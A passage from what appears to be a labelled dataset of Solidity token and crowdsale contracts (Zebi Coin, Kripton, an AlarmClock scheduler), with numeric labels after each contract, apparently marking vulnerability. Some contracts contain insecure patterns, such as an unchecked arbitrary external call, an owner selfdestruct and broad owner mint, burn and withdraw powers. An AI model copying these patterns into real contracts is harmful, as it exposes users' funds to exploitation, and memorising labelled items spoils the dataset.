uint256 tokencount = balances[_from];
balances[_from] = 0;
totalSupply_ = totalSupply_.sub(tokencount);
Burn(_from, tokencount);
return true;
}
function startTransfer() external onlyOwner
{
transferAllowed = true ;
}
function endTransfer() external onlyOwner
{
transferAllowed = false ;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(transferAllowed);
super.transfer(_to,_value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(transferAllowed);
super.transferFrom(_from,_to,_value);
return true;
}
}
contract ZebiCoin is MintableToken {
string public constant name = "Zebi Coin";
string public constant symbol = "ZCO";
uint64 public constant decimals = 8;
}
contract ZCrowdsale is Ownable{
using SafeMath for uint256;
MintableToken public token;
uint64 public tokenDecimals;
uint256 public startTime;
uint256 public endTime;
uint256 public minTransAmount;
uint256 public mintedTokensCap;
mapping(address => uint256) contribution;
mapping(address => bool) cancelledList;
address public wallet;
bool public withinRefundPeriod;
uint256 public ETHtoZCOrate;
uint256 public weiRaised;
bool public stopped;
modifier stopInEmergency {
require (!stopped);
_;
}
modifier inCancelledList {
require(cancelledList[msg.sender]);
_;
}
modifier inRefundPeriod {
require(withinRefundPeriod);
_;
}
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event TakeEth(address sender,uint256 value);
event Withdraw(uint256 _value);
event SetParticipantStatus(address _participant);
event Refund(address sender,uint256 refundBalance);
function ZCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _ETHtoZCOrate, address _wallet,uint256 _minTransAmount,uint256 _mintedTokensCap) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_ETHtoZCOrate > 0);
require(_wallet != address(0));
token = new ZebiCoin();
startTime = _startTime;
endTime = _endTime;
ETHtoZCOrate = _ETHtoZCOrate;
wallet = _wallet;
minTransAmount = _minTransAmount;
tokenDecimals = 8;
mintedTokensCap = _mintedTokensCap.mul(10**tokenDecimals);
}
function () external payable {
buyTokens(msg.sender);
}
function finishMint() onlyOwner public returns (bool) {
token.finishMinting();
return true;
}
function resumeMint() onlyOwner public returns (bool) {
token.resumeMinting();
return true;
}
function startTransfer() external onlyOwner
{
token.startTransfer() ;
}
function endTransfer() external onlyOwner
{
token.endTransfer() ;
}
function transferTokenOwnership(address owner) external onlyOwner
{
token.transferOwnership(owner);
}
function viewCancelledList(address participant) public view returns(bool){
return cancelledList[participant];
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
contribution[beneficiary] = contribution[beneficiary].add(weiAmount);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function getTokenAmount(uint256 weiAmount) public view returns(uint256) {
uint256 ETHtoZweiRate = ETHtoZCOrate.mul(10**tokenDecimals);
return SafeMath.div((weiAmount.mul(ETHtoZweiRate)),(1 ether));
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function enableRefundPeriod() external onlyOwner{
withinRefundPeriod = true;
}
function disableRefundPeriod() external onlyOwner{
withinRefundPeriod = false;
}
function emergencyStop() external onlyOwner {
stopped = true;
}
function release() external onlyOwner {
stopped = false;
}
function viewContribution(address participant) public view returns(uint256){
return contribution[participant];
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool validAmount = msg.value >= minTransAmount;
bool withinmintedTokensCap = mintedTokensCap >= (token.totalSupply() + getTokenAmount(msg.value));
return withinPeriod && validAmount && withinmintedTokensCap;
}
function refund() external inCancelledList inRefundPeriod {
require((contribution[msg.sender] > 0) && token.balanceOf(msg.sender)>0);
uint256 refundBalance = contribution[msg.sender];
contribution[msg.sender] = 0;
token.burn(msg.sender);
msg.sender.transfer(refundBalance);
Refund(msg.sender,refundBalance);
}
function forcedRefund(address _from) external onlyOwner {
require(cancelledList[_from]);
require((contribution[_from] > 0) && token.balanceOf(_from)>0);
uint256 refundBalance = contribution[_from];
contribution[_from] = 0;
token.burn(_from);
_from.transfer(refundBalance);
Refund(_from,refundBalance);
}
function takeEth() external payable {
TakeEth(msg.sender,msg.value);
}
function withdraw(uint256 _value) public onlyOwner {
wallet.transfer(_value);
Withdraw(_value);
}
function addCancellation (address _participant) external onlyOwner returns (bool success) {
cancelledList[_participant] = true;
return true;
}
}
contract ZebiCoinCrowdsale is ZCrowdsale {
function ZebiCoinCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet,uint256 _minTransAmount,uint256 _mintedTokensCap)
ZCrowdsale(_startTime, _endTime, _rate, _wallet , _minTransAmount,_mintedTokensCap){
}
}
contract ZebiCoinTempMgr is Ownable{
using SafeMath for uint256;
address public wallet;
ZebiCoinCrowdsale public preSaleCSSC;
ZebiCoin public tsc;
uint64 tokenDecimals;
mapping(address => bool) preSaleCancelledList;
mapping(address => uint256) noncsAllocations;
bool public withinRefundPeriod;
mapping(address => uint256) preSaleRefunds;
modifier inPreSaleCancelledList {
require(preSaleCancelledList[msg.sender]);
_;
}
modifier inRefundPeriod {
require(withinRefundPeriod);
_;
}
event TakeEth(address sender,uint256 value);
event Withdraw(uint256 _value);
event PreSaleRefund(address sender,uint256 refundBalance);
event AllocatenonCSTokens(address indexed beneficiary,uint256 amount);
function ZebiCoinTempMgr(address presaleCrowdsale, address tokenAddress, address _wallet) public {
wallet = _wallet;
preSaleCSSC = ZebiCoinCrowdsale(presaleCrowdsale);
tsc = ZebiCoin(tokenAddress);
tokenDecimals = tsc.decimals();
}
function finishMint() onlyOwner public returns (bool) {
tsc.finishMinting();
return true;
}
function resumeMint() onlyOwner public returns (bool) {
tsc.resumeMinting();
return true;
}
function startTransfer() external onlyOwner{
tsc.startTransfer() ;
}
function endTransfer() external onlyOwner{
tsc.endTransfer() ;
}
function transferTokenOwnership(address owner) external onlyOwner{
tsc.transferOwnership(owner);
}
function allocatenonCSTokens(address beneficiary,uint256 tokens) external onlyOwner
{
require(beneficiary != address(0));
uint256 Zweitokens = tokens.mul(10**(tokenDecimals ));
noncsAllocations[beneficiary]= Zweitokens.add(noncsAllocations[beneficiary]);
tsc.mint(beneficiary, Zweitokens);
AllocatenonCSTokens(beneficiary,Zweitokens);
}
function revertNoncsallocation(address beneficiary) external onlyOwner
{
require(noncsAllocations[beneficiary]!=0);
noncsAllocations[beneficiary]=0;
tsc.burn(beneficiary);
}
function viewNoncsallocations(address participant) public view returns(uint256){
return noncsAllocations[participant];
}
function viewPreSaleCancelledList(address participant) public view returns(bool){
return preSaleCancelledList[participant];
}
function viewPreSaleRefunds(address participant) public view returns(uint256){
return preSaleRefunds[participant];
}
function enableRefundPeriod() external onlyOwner{
withinRefundPeriod = true;
}
function disableRefundPeriod() external onlyOwner{
withinRefundPeriod = false;
}
function refund() external inPreSaleCancelledList inRefundPeriod {
require((preSaleCSSC.viewContribution(msg.sender) > 0) && tsc.balanceOf(msg.sender)>0);
uint256 refundBalance = preSaleCSSC.viewContribution(msg.sender);
preSaleRefunds[msg.sender] = refundBalance;
tsc.burn(msg.sender);
msg.sender.transfer(refundBalance);
PreSaleRefund(msg.sender,refundBalance);
}
function forcedRefund(address _from) external onlyOwner {
require(preSaleCancelledList[_from]);
require((preSaleCSSC.viewContribution(_from) > 0) && tsc.balanceOf(_from)>0);
uint256 refundBalance = preSaleCSSC.viewContribution(_from);
preSaleRefunds[_from] = refundBalance;
tsc.burn(_from);
_from.transfer(refundBalance);
PreSaleRefund(_from,refundBalance);
}
function takeEth() external payable {
TakeEth(msg.sender,msg.value);
}
function withdraw(uint256 _value) public onlyOwner {
wallet.transfer(_value);
Withdraw(_value);
}
function addCancellation (address _participant) external onlyOwner returns (bool success) {
preSaleCancelledList[_participant] = true;
return true;
}
}
contract ZebiMainCrowdsale is Ownable{
using SafeMath for uint256;
ZebiCoin public token;
uint256 currentYearMinted;
uint256 calenderYearMintCap;
uint256 calenderYearStart;
uint256 calenderYearEnd;
uint256 vestedMintStartTime;
uint256 zebiZCOShare;
uint256 crowdsaleZCOCap;
uint256 transStartTime;
ZebiCoinCrowdsale public zcc;
ZebiCoinTempMgr public tempMngr;
uint64 public tokenDecimals;
uint256 public startTime;
uint256 public endTime;
uint256 public goldListPeriod;
uint256 public postGoldPeriod;
uint256 public minTransAmount;
uint256 public ethCap;
mapping(address => uint256) mainContribution;
mapping(address => bool) mainCancelledList;
uint256 goldPeriodCap;
bool goldListPeriodFlag;
mapping(address=>uint256) goldListContribution;
mapping(address => bool) goldList;
mapping(address => bool) kycAcceptedList;
address public wallet;
bool public withinRefundPeriod;
mapping(address => uint256) preSaleRefundsInMainSale;
uint256 public tokens;
uint256 public weiAmount;
uint256 public ETHtoZWeirate;
uint256 public mainWeiRaised;
modifier inCancelledList {
require(mainCancelledList[msg.sender]);
_;
}
modifier inRefundPeriod {
require(withinRefundPeriod);
_;
}
event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount);
event TakeEth(address sender,uint256 value);
event Withdraw(uint256 _value);
event SetParticipantStatus(address _participant);
event Refund(address sender,uint256 refundBalance);
function ZebiMainCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _ETHtoZWeirate, address _wallet,uint256 _minTransAmount,uint256 _ethCap, address tokenAddress, address presaleAddress,address tempMngrAddress,uint256 _goldListPeriod,uint256 _postGoldPeriod,uint256 _goldPeriodCap,uint256 _vestedMintStartTime,uint256 _calenderYearStart) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_ETHtoZWeirate > 0);
require(_wallet != address(0));
token = ZebiCoin(tokenAddress);
zcc = ZebiCoinCrowdsale(presaleAddress);
startTime = _startTime;
endTime = _endTime;
ETHtoZWeirate = _ETHtoZWeirate;
wallet = _wallet;
minTransAmount = _minTransAmount;
tokenDecimals = token.decimals();
ethCap = _ethCap;
tempMngr=ZebiCoinTempMgr(tempMngrAddress);
goldListPeriod=_goldListPeriod;
postGoldPeriod=_postGoldPeriod;
zebiZCOShare=SafeMath.mul(500000000,(10**tokenDecimals));
crowdsaleZCOCap=zebiZCOShare;
goldPeriodCap=_goldPeriodCap;
calenderYearMintCap = SafeMath.div((zebiZCOShare.mul(2)),8);
vestedMintStartTime=_vestedMintStartTime;
calenderYearStart=_calenderYearStart;
calenderYearEnd=(calenderYearStart+1 years )- 1;
}
function () external payable {
buyTokens(msg.sender);
}
function finishMint() onlyOwner public returns (bool) {
token.finishMinting();
return true;
}
function resumeMint() onlyOwner public returns (bool) {
token.resumeMinting();
return true;
}
function startTransfer() external onlyOwner{
token.startTransfer() ;
}
function endTransfer() external onlyOwner{
token.endTransfer() ;
}
function transferTokenOwnership(address owner) external onlyOwner{
token.transferOwnership(owner);
}
function viewCancelledList(address participant) public view returns(bool){
return mainCancelledList[participant];
}
function viewGoldList(address participant) public view returns(bool){
return goldList[participant];
}
function addToGoldList (address _participant) external onlyOwner returns (bool ) {
goldList[_participant] = true;
return true;
}
function removeFromGoldList(address _participant) external onlyOwner returns(bool ){
goldList[_participant]=false;
return true;
}
function viewKYCAccepted(address participant) public view returns(bool){
return kycAcceptedList[participant];
}
function addToKYCList (address _participant) external onlyOwner returns (bool ) {
kycAcceptedList[_participant] = true;
return true;
}
function removeFromKYCList (address _participant) external onlyOwner returns (bool){
kycAcceptedList[_participant]=false;
}
function viewPreSaleRefundsInMainSale(address participant) public view returns(uint256){
return preSaleRefundsInMainSale[participant];
}
function buyTokens(address beneficiary) public payable {
transStartTime=now;
require(goldList[beneficiary]||kycAcceptedList[beneficiary]);
goldListPeriodFlag=false;
require(beneficiary != address(0));
require(validPurchase());
uint256 extraEth=0;
weiAmount = msg.value;
if((msg.value>ethCap.sub(mainWeiRaised)) && !goldListPeriodFlag){
weiAmount=ethCap.sub(mainWeiRaised);
extraEth=(msg.value).sub(weiAmount);
}
tokens = getTokenAmount(weiAmount);
mainWeiRaised = mainWeiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
mainContribution[beneficiary] = mainContribution[beneficiary].add(weiAmount);
if(goldListPeriodFlag){
goldListContribution[beneficiary] = goldListContribution[beneficiary].add(weiAmount);
}
TokenPurchase(beneficiary, weiAmount, tokens);
forwardFunds();
if(extraEth>0){
beneficiary.transfer(extraEth);
}
}
function getTokenAmount(uint256 weiAmount1) public view returns(uint256) {
uint256 number = SafeMath.div((weiAmount1.mul(ETHtoZWeirate)),(1 ether));
uint256 volumeBonus;
uint256 timeBonus;
if(number >= 400000000000000)
{
volumeBonus = SafeMath.div((number.mul(25)),100);
}
else if(number>= 150000000000000) {
volumeBonus = SafeMath.div((number.mul(20)),100);
}
else if(number>= 80000000000000) {
volumeBonus = SafeMath.div((number.mul(15)),100);
}
else if(number>= 40000000000000) {
volumeBonus = SafeMath.div((number.mul(10)),100);
}
else if(number>= 7500000000000) {
volumeBonus = SafeMath.div((number.mul(5)),100);
}
else{
volumeBonus=0;
}
if(goldListPeriodFlag){
timeBonus = SafeMath.div((number.mul(15)),100);
}
else if(transStartTime <= startTime + postGoldPeriod){
timeBonus = SafeMath.div((number.mul(10)),100);
}
else{
timeBonus=0;
}
number=number+timeBonus+volumeBonus;
return number;
}
function forwardFunds() internal {
wallet.transfer(weiAmount);
}
function enableRefundPeriod() external onlyOwner{
withinRefundPeriod = true;
}
function disableRefundPeriod() external onlyOwner{
withinRefundPeriod = false;
}
function viewContribution(address participant) public view returns(uint256){
return mainContribution[participant];
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = transStartTime >= startTime && transStartTime <= endTime;
bool validAmount = msg.value >= minTransAmount;
bool withinEthCap = ((ethCap.sub(mainWeiRaised))>0);
bool goldPeriodValid=true;
if(transStartTime <= (startTime + goldListPeriod)){
goldPeriodValid=(goldList[msg.sender])&&(goldListContribution[msg.sender]+msg.value <= goldPeriodCap);
goldListPeriodFlag=true;
}
return withinPeriod && validAmount && withinEthCap && goldPeriodValid;
}
function mintAndAllocateZCO(address partnerAddress,uint256 amountInZWei) external onlyOwner returns(bool){
require((crowdsaleZCOCap.sub(token.totalSupply()))>=amountInZWei);
require(partnerAddress!=address(0));
token.mint(partnerAddress,amountInZWei);
return true;
}
function mintvestedTokens (address partnerAddress,uint256 zweitokens) external onlyOwner returns(bool){
require(zweitokens<=zebiZCOShare && zweitokens>0);
require(partnerAddress!=address(0));
require(now>=vestedMintStartTime);
uint256 currentYearCounter=SafeMath.div((SafeMath.sub(now,calenderYearStart)),1 years);
if(now>calenderYearEnd && currentYearCounter>=1){
currentYearMinted=0;
calenderYearStart=calenderYearEnd+((currentYearCounter-1)*1 years) +1;
calenderYearEnd=(calenderYearStart+ 1 years )- 1;
}
require(currentYearMinted+zweitokens<=calenderYearMintCap);
currentYearMinted=currentYearMinted+zweitokens;
token.mint(partnerAddress,zweitokens);
zebiZCOShare=zebiZCOShare.sub(zweitokens);
}
function refund() external inCancelledList inRefundPeriod {
require(mainCancelledList[msg.sender]);
require((mainContribution[msg.sender] > 0) && token.balanceOf(msg.sender)>0);
uint256 presaleContribution = zcc.viewContribution(msg.sender);
uint256 refundBalance = (mainContribution[msg.sender]).add(presaleContribution) ;
uint256 preSaleRefundTemp= tempMngr.viewPreSaleRefunds(msg.sender);
uint256 preSaleRefundMain=presaleContribution.sub(preSaleRefundTemp);
refundBalance=refundBalance.sub(preSaleRefundTemp);
refundBalance=refundBalance.sub(preSaleRefundsInMainSale[msg.sender]);
preSaleRefundsInMainSale[msg.sender]=preSaleRefundMain;
mainContribution[msg.sender] = 0;
token.burn(msg.sender);
msg.sender.transfer(refundBalance);
Refund(msg.sender,refundBalance);
}
function forcedRefund(address _from) external onlyOwner {
require(mainCancelledList[_from]);
require((mainContribution[_from] > 0) && token.balanceOf(_from)>0);
uint256 presaleContribution = zcc.viewContribution(_from);
uint256 refundBalance = (mainContribution[_from]).add(presaleContribution) ;
uint256 preSaleRefundTemp= tempMngr.viewPreSaleRefunds(_from);
uint256 preSaleRefundMain=presaleContribution.sub(preSaleRefundTemp);
refundBalance=refundBalance.sub(preSaleRefundTemp);
refundBalance=refundBalance.sub(preSaleRefundsInMainSale[_from]);
preSaleRefundsInMainSale[_from]=preSaleRefundMain;
mainContribution[_from] = 0;
token.burn(_from);
_from.transfer(refundBalance);
Refund(_from,refundBalance);
}
function takeEth() external payable {
TakeEth(msg.sender,msg.value);
}
function withdraw(uint256 _value) public onlyOwner {
wallet.transfer(_value);
Withdraw(_value);
}
function addCancellation (address _participant) external onlyOwner returns (bool success) {
mainCancelledList[_participant] = true;
return true;
}
} | 1 | 3,287 |
pragma solidity ^ 0.4.18;
library SafeMath {
function mul(uint a, uint b) internal pure returns(uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) public view returns(uint);
function allowance(address owner, address spender) public view returns(uint);
function transfer(address to, uint value) public returns(bool ok);
function transferFrom(address from, address to, uint value) public returns(bool ok);
function approve(address spender, uint value) public returns(bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Token is ERC20, Ownable {
using SafeMath for uint;
string public name;
string public symbol;
uint8 public decimals;
string public version = "v0.1";
uint public totalSupply;
bool public locked;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
address public crowdSaleAddress;
modifier onlyUnlocked() {
if (msg.sender != crowdSaleAddress && msg.sender != owner && locked)
revert();
_;
}
modifier onlyAuthorized() {
if (msg.sender != owner && msg.sender != crowdSaleAddress)
revert();
_;
}
function Token(address _crowdsaleAddress) public {
require(_crowdsaleAddress != address(0));
locked = true;
totalSupply = 2600000000e8;
name = "Kripton";
symbol = "LPK";
decimals = 8;
crowdSaleAddress = _crowdsaleAddress;
balances[_crowdsaleAddress] = totalSupply;
}
function unlock() public onlyAuthorized {
locked = false;
}
function lock() public onlyAuthorized {
locked = true;
}
function transfer(address _to, uint _value) public onlyUnlocked returns(bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public onlyUnlocked returns(bool success) {
require(balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns(uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 1 | 2,125 |
pragma solidity 0.4.25;
contract AlarmClock {
event _newAlarmClock(address _contract, uint startBlock, uint blockWindow, uint reward, uint gas, bytes _callData);
address public owner;
uint public totalTimers;
uint public waitingTimers;
struct ClockStruct {
address _contract;
uint startBlock;
uint blockWindow;
uint reward;
uint gas;
bytes callData;
}
ClockStruct[] public clockList;
constructor () public payable {
owner = msg.sender;
totalTimers = 0;
waitingTimers = 0;
}
modifier ownerOnly() {
require(msg.sender == owner);
_;
}
function setNewOwner(address _newOwner) public ownerOnly {
owner = _newOwner;
}
function registerAlarmClock(address _contract, uint startBlock, uint blockWindow, uint gas, bytes _callData) external payable {
require(gas >= 200000);
require(msg.value > gas);
require(block.number < startBlock);
clockList.push(ClockStruct(_contract, startBlock, blockWindow, msg.value - gas, gas, _callData));
totalTimers++;
waitingTimers++;
emit _newAlarmClock(_contract, startBlock, blockWindow, msg.value - gas, gas, _callData);
}
function trigerAlarmClock(uint id) external payable {
require(clockList[id].reward > 0);
require(block.number >= clockList[id].startBlock);
require(block.number < (clockList[id].startBlock + clockList[id].blockWindow));
msg.sender.transfer(clockList[id].reward);
clockList[id].reward = 0;
waitingTimers--;
require(clockList[id]._contract.call.value(0).gas(clockList[id].gas)(clockList[id].callData));
}
function() external payable {
}
function _destroyContract() external ownerOnly {
selfdestruct(msg.sender);
}
} | 0 | 27 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint tokensSold, uint weiRaised, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
if(_minimumFundingGoal != 0) {
}
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(tokenAmount, weiAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
onInvest();
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
function onInvest() internal {
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
modifier onlyPayloadSize(uint size) {
if(msg.data.length != size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
